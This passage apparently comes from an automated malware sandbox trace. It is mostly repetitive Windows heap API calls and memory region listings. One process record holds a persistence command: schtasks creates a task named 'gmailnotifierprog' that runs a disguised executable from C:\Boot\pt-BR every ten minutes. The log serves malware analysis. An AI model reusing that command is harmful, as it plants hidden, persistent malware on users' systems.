(hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104000) returned 1 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.847] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104000) returned 0x20 [0107.847] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104000) returned 1 [0107.847] GetProcessHeap () returned 0x277e2100000 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b560) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b560) returned 0x20 [0107.848] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b560) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a570) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a570) returned 0xa [0107.848] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a570) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b620) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.848] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b620) returned 0x20 [0107.848] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b620) returned 1 [0107.848] GetProcessHeap () returned 0x277e2100000 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104340) returned 1 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104340) returned 0x30 [0107.849] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104340) returned 1 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b4a0) returned 1 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b4a0) returned 0x20 [0107.849] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b4a0) returned 1 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2103c70) returned 1 [0107.849] GetProcessHeap () returned 0x277e2100000 [0107.849] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2103c70) returned 0x30 [0107.850] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2103c70) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b7d0) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b7d0) returned 0x20 [0107.850] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b7d0) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a4b0) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a4b0) returned 0x10 [0107.850] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a4b0) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b8f0) returned 1 [0107.850] GetProcessHeap () returned 0x277e2100000 [0107.850] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b8f0) returned 0x20 [0107.851] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b8f0) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a730) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a730) returned 0x10 [0107.851] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a730) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b830) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b830) returned 0x20 [0107.851] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b830) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a7d0) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a7d0) returned 0xe [0107.851] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a7d0) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.851] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b770) returned 1 [0107.851] GetProcessHeap () returned 0x277e2100000 [0107.852] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b770) returned 0x20 [0107.852] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b770) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a610) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a610) returned 0x16 [0107.852] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a610) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b920) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b920) returned 0x20 [0107.852] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b920) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a790) returned 1 [0107.852] GetProcessHeap () returned 0x277e2100000 [0107.852] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a790) returned 0x16 [0107.853] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a790) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b950) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b950) returned 0x20 [0107.853] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b950) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2124da0) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2124da0) returned 0x82 [0107.853] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2124da0) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b650) returned 1 [0107.853] GetProcessHeap () returned 0x277e2100000 [0107.853] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b650) returned 0x20 [0107.854] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b650) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210a530) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210a530) returned 0xe [0107.854] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210a530) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e210b980) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e210b980) returned 0x20 [0107.854] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e210b980) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104440) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.854] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104440) returned 0x18 [0107.854] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104440) returned 1 [0107.854] GetProcessHeap () returned 0x277e2100000 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104030) returned 1 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104030) returned 0x20 [0107.855] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104030) returned 1 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108aa0) returned 1 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108aa0) returned 0x20 [0107.855] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108aa0) returned 1 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108c80) returned 1 [0107.855] GetProcessHeap () returned 0x277e2100000 [0107.855] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108c80) returned 0x20 [0107.856] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108c80) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108b60) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108b60) returned 0x20 [0107.858] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108b60) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104060) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104060) returned 0x18 [0107.858] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104060) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108cb0) returned 1 [0107.858] GetProcessHeap () returned 0x277e2100000 [0107.858] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108cb0) returned 0x20 [0107.859] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108cb0) returned 1 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108b90) returned 1 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108b90) returned 0x20 [0107.859] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108b90) returned 1 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108d70) returned 1 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108d70) returned 0x20 [0107.859] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108d70) returned 1 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] GetProcessHeap () returned 0x277e2100000 [0107.859] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108c50) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108c50) returned 0x20 [0107.860] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108c50) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108a70) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108a70) returned 0x20 [0107.860] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108a70) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104080) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104080) returned 0x18 [0107.860] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104080) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2108d10) returned 1 [0107.860] GetProcessHeap () returned 0x277e2100000 [0107.860] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2108d10) returned 0x20 [0107.861] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2108d10) returned 1 [0107.861] GetProcessHeap () returned 0x277e2100000 [0107.861] GetProcessHeap () returned 0x277e2100000 [0107.861] HeapValidate (hHeap=0x277e2100000, dwFlags=0x0, lpMem=0x277e2104a80) returned 1 [0107.861] GetProcessHeap () returned 0x277e2100000 [0107.861] RtlSizeHeap (HeapHandle=0x277e2100000, Flags=0x0, MemoryPointer=0x277e2104a80) returned 0x18 [0107.861] RtlFreeHeap (HeapHandle=0x277e2100000, Flags=0x0, BaseAddress=0x277e2104a80) returned 1 [0107.861] exit (_Code=0) Thread: id = 137 os_tid = 0x120c Process: id = "8" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x69ae2000" os_pid = "0x1200" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x1120" cmd_line = "schtasks.exe /create /tn \"gmailnotifierprog\" /sc MINUTE /mo 10 /tr \"'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'\" /f" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fdef" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 2438 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2439 start_va = 0x162dc70000 end_va = 0x162dceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000162dc70000" filename = "" Region: id = 2440 start_va = 0x162de00000 end_va = 0x162dffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000162de00000" filename = "" Region: id = 2441 start_va = 0x177ced60000 end_va = 0x177ced7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177ced60000" filename = "" Region: id = 2442 start_va = 0x177ced80000 end_va = 0x177ced94fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177ced80000" filename = "" Region: id = 2443 start_va = 0x177ceda0000 end_va = 0x177ceda3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177ceda0000" filename = "" Region: id = 2444 start_va = 0x177cedb0000 end_va = 0x177cedb0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cedb0000" filename = "" Region: id = 2445 start_va = 0x177cedc0000 end_va = 0x177cedc1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cedc0000" filename = "" Region: id = 2446 start_va = 0x7df5ffd80000 end_va = 0x7ff5ffd7ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffd80000" filename = "" Region: id = 2447 start_va = 0x7ff6844e0000 end_va = 0x7ff684502fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6844e0000" filename = "" Region: id = 2448 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 2449 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2450 start_va = 0x177cedd0000 end_va = 0x177cef6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cedd0000" filename = "" Region: id = 2451 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2452 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2453 start_va = 0x177ced60000 end_va = 0x177ced6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177ced60000" filename = "" Region: id = 2454 start_va = 0x7ff6843e0000 end_va = 0x7ff6844dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6843e0000" filename = "" Region: id = 2455 start_va = 0x177cef70000 end_va = 0x177cf02dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2456 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2457 start_va = 0x162dcf0000 end_va = 0x162dd6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000162dcf0000" filename = "" Region: id = 2458 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 2459 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 2460 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2461 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2462 start_va = 0x177ced70000 end_va = 0x177ced7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177ced70000" filename = "" Region: id = 2463 start_va = 0x177cedd0000 end_va = 0x177cedd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cedd0000" filename = "" Region: id = 2464 start_va = 0x177cee70000 end_va = 0x177cef6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cee70000" filename = "" Region: id = 2465 start_va = 0x177cf030000 end_va = 0x177cf172fff monitored = 0 entry_point = 0x177cf058210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 2466 start_va = 0x177cede0000 end_va = 0x177cede6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cede0000" filename = "" Region: id = 2467 start_va = 0x177cedf0000 end_va = 0x177cee02fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 2468 start_va = 0x177cf030000 end_va = 0x177cf366fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2469 start_va = 0x177cf370000 end_va = 0x177cf44cfff monitored = 0 entry_point = 0x177cf3ce0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 2471 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 2472 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2473 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2474 start_va = 0x177cee10000 end_va = 0x177cee48fff monitored = 0 entry_point = 0x177cee112f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2475 start_va = 0x177cf370000 end_va = 0x177cf4f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cf370000" filename = "" Region: id = 2476 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 2477 start_va = 0x177cee10000 end_va = 0x177cee10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cee10000" filename = "" Region: id = 2478 start_va = 0x177cee20000 end_va = 0x177cee20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000177cee20000" filename = "" Region: id = 2479 start_va = 0x177cf500000 end_va = 0x177cf680fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cf500000" filename = "" Region: id = 2480 start_va = 0x177cf690000 end_va = 0x177d0a8ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cf690000" filename = "" Region: id = 2481 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2482 start_va = 0x177cee30000 end_va = 0x177cee30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cee30000" filename = "" Region: id = 2483 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2496 start_va = 0x177cee40000 end_va = 0x177cee40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000177cee40000" filename = "" Region: id = 2497 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2498 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2526 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: 